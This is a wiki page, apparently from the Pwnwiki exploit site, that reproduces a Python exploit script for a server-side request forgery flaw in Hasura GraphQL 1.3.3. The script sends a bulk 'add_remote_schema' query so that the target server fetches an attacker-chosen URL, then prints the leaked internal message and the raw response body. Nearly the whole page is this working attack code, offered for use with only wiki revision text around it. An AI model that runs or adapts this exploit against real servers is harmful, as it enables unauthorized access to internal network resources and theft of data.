Pwnwiki: Created page with "==EXP==

 # Exploit Title: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF) # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine..."

2021-04-22T02:06:19Z

Created page with "==EXP== <pre> # Exploit Title: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF) # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine..."

New page

==EXP==
<pre>
# Exploit Title: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF)
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Exploit Author: Dolev Farhi
# Date: 4/19/2021
# Tested on: Ubuntu

import requests

HASURA_SCHEME = 'http'
HASURA_HOST = '192.168.1.1'
HASURA_PORT = 80

REMOTE_URL = 'http://some_remote_addr'

def SSRF(url):
data = {
"type":"bulk",
"args":[
{
"type":"add_remote_schema",
"args":{
"name":"test",
"definition":{
"url":url,
"headers":[],
"timeout_seconds":60,
"forward_client_headers":True
}
}
}
]
}
endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
r = requests.post(endpoint, json=data)
return r.json()

res = SSRF(REMOTE_URL)

message = ''
raw_body = ''

try:
if 'message' in res['internal']:
message = res['internal'].get('message', '')
if 'raw_body' in res['internal']:
raw_body = res['internal'].get('raw_body', '')
except:
pass

print('Remote URL: ' + REMOTE_URL)
print('Message: ' + message)
print('HTTP Raw Body: ' + raw_body)
print('Error: ' + res['error'])

</pre>

Hasura GraphQL 1.3.3 SSRF漏洞 - Revision history

Pwnwiki: Created page with "==EXP==
# Exploit Title: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF) # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine..."